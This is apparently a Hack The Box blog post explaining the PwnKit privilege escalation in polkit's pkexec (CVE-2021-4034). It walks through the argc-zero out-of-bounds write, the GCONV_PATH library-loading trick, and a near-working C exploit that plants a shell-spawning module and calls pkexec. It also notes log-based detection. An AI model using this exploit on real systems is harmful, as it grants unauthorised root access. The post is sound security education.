CVE Explained
clubby789,
Jul 16
2021
At 6 PM UTC on the 25th January 2022, security company Qualys posted pwnkit: Local Privilege Escalation in polkit's pkexec (CVE-2021-4034) to the Openwall security mailing list. Within hours, there were public, reliable, and simple exploits to gain root on any unpatched system.
pkexec is a tool from the polkit or Policy Kit software package. This is a very common component of modern Linux systems - it is a toolkit for organizing authentication and permissions. According to the Arch wiki:
In contrast to systems such as sudo, it does not grant root permission to an entire process, but rather allows a finer level of control of centralized system policy.
In order to elevate a user's privileges, the pkexec binary must be set-UID-root, which means it will always run with high privileges. This is an ideal target for attackers, so great care should be taken to precisely define the execution environment. In particular, it's important that the environment variables are carefully sanitized, as the user's environment is passed to it (aside from certain obviously dangerous variables such as LD_PRELOAD).
The bug was likely firsted noted here, in 2013. In it, the author explains the confusion which led to the bug. POSIX (a standard set of definitions for compatibility between Unix-like operating systems) defines that argv (the list of arguments passed to a program) will always have at least one value - the name of the program being run.
Linux (likely due to backwards-compatibility) relaxes this rule - an empty list, or no list at all can be passed in the arguments, meaning argv is empty and argc is zero. This assumption, and Linux allowing it to be violated leads to this code on between lines 534 and 568 of pkexec:
for (n = 1; n < (guint) argc; n++)
{
// Loop body
}
This code can be rewritten as:
n = 1;
loop:
if (n < (guint) argc) {
// do loop stuff
n++
goto loop;
}
The assumption is that after this loop, n must be equal to argc. But as argc was 0, and n already exceeds it, the loop completes immediately, and n is left as 1. Below is a snippet between lines 610 and 640:
path = g_strdup (argv[n]);
...
if (path[0] != '/')
{
...
s = g_find_program_in_path (path);
...
argv[n] = path = s;
}
This code is intended to get the last argument (the program), map it to an absolute path with the user's PATH variable, then replace the original argument with the mapped one. However, argv is a list containing only a single NULL, the list terminator - so argv[1]
is reading and writing out of bounds, in this case into envp, the environment variables.
In the original blog post, the author notes that:
Although getting a setuid binary to use envp in place of argv is amusing, a quick skim of the pkexec source doesn’t show anything that is likely to be vulnerable to having argv[0] be NULL
Qualys located this same issue and looked deeper into its exploitability. Below I'll paste a 'reduced' version of the 'window' of exploitability - between the environment variable overwrite and the point at which the environment is cleared entirely.
if (access (path, F_OK) != 0) {
g_printerr ("Error accessing %s: %s\n", path, g_strerror (errno));
goto out;
}
[ ... ]
saved_env = g_ptr_array_new ();
for (n = 0; environment_variables_to_save[n] != NULL; n++) {
const gchar *key = environment_variables_to_save[n];
const gchar *value;
value = g_getenv (key);
if (value == NULL)
continue;
if (!validate_environment_variable (key, value))
goto out;
g_ptr_array_add (saved_env, g_strdup (key));
g_ptr_array_add (saved_env, g_strdup (value));
}
if (g_getenv ("XAUTHORITY") == NULL) {
const gchar *home;
home = g_getenv ("HOME");
if (home == NULL)
home = g_get_home_dir ();
if (home != NULL) {
g_ptr_array_add (saved_env, g_strdup ("XAUTHORITY"));
g_ptr_array_add (saved_env, g_build_filename (home, ".Xauthority", NULL));
}
}
Nothing here is obviously exploitable with an environment variable overwrite. However, Qualys discovered that deep in GLib (GLib = GNOME Library, glibc = GNU C Library), certain functions that cause a message to be printed for the user to read take into account encoding - messages encoded in one format must be able to be re-encoded for the user's shell. GLib is a very common library that builds on top of the C standard - it provides functions like error logging, authentication, and PATH lookups, among others. It has become a standard component of many Unix-based operating systems such as Linux, Solaris, *BSD, and many common programs (such as, of course, pkexec) rely on it being installed.
To make this an extensible system, GLib loads $GCONV_PATH/gconv-modules
(or /usr/lib/gconv/gconv-modules
if this variable is not set). This file contains tuples like this: module BS_4730// INTERNAL ISO646 2
. This defines that there is a module located at $GCONV_PATH/ISO646.so
, which allows BS_4730
to be reencoded as INTERNAL
(whatever internal encoding GLib is using). So, by controlling GCONV_PATH
, we can cause this SUID program to run with full root privileges to load a library we control and call a function in it.
We'll work up from our goal, in order to work out how to reach it. We need an environment variable GCONV_PATH=./evildir
, where evildir is a directory under our control. In order for this to work, we need to provide a value which will be looked up in our PATH, and return GCONV_PATH=./evildir
.
The strategy Qualys found was to create a directory named GCONV_PATH=.
(an unusual directory name, but entirely valid under Linux). Underneath this, they create an executable (but empty) file named evildir
. When we pass the environment variable PATH=GCONV_PATH=.
, and search for the program evildir
(due to the off-by-one, the program searched for will be the first environment variable). This lookup will return our desired path, GCONV_PATH=./evildir
and write it back - into envp
!
I'll outline the 'algorithm' our exploit will need to follow
GCONV_PATH=.
evildir
evildir
gconv-modules
in it, which points to...int main() {
mkdir("GCONV_PATH=.", 0755);
int fd = open("GCONV_PATH=./evildir", O_WRONLY|O_CREATE, 0755);
// Create new file with executable permissions
close(fd);
mkdir("evildir", 0755);
// 'a module named evil.so that encodes 'INTERNAL' to 'evil''
// char evil_mod[] = "module INTERNAL evil// evil 2\n";
fd = open("evildir/gconv-modules", O_WRONLY|O_CREATE, 0755);
write(fd, evil_mod, sizeof(evil_mod));
close(fd);
// A shared module that pops a shell on load
fd = open("evildir/evil.so", O_WRONLY|O_CREAT, 0755);
write(fd, evil_so, sizeof(evil_so));
close(fd);
char* argv[] = {NULL};
char *envp[] = {
// Will be used as argv[1]
"evildir",
// Malicious path
"PATH=GCONV_PATH=.",
// Trigger gconv_open
"CHARSET=evil",
// An invalid shell - will cause an error to be raised
// which triggers our payload
"SHELL=evil",
NULL
};
execve("/usr/bin/pkexec", argv, envp);
}
The most reliable technique, and the one described by Qualys, is modifying the ‘SHELL’ or ‘XAUTHORITY’ values to unusual values such as ‘evil’. This causes pkexec to log a message into /var/log/auth.log
, which will be a clear indicator of attempted exploitation.
However, POCs have already been released that exploit the bug without leaving an obvious log message, which involves a race condition to remove a file, causing an error to be thrown.
The bug stemmed from a misunderstanding due to differing behavior on different platforms. It demonstrates the importance of carefully reading documentation, and considering all possible input cases - not just the expected ones!
Additionally, odd behavior you come across in common programs is worth looking into - it could be a decades-old privilege escalation!
CVE-2021-4034 has been added to the list of CVE Exploitable machines available on our Enterprise Platform, learn more: https://www.hackthebox.com/business/dedicated-labs.
Additionally, this exploit is part of the machine series created for UHC (Ultimate Hacking Championship). It can be found on the UHC Track and is called "Pressed".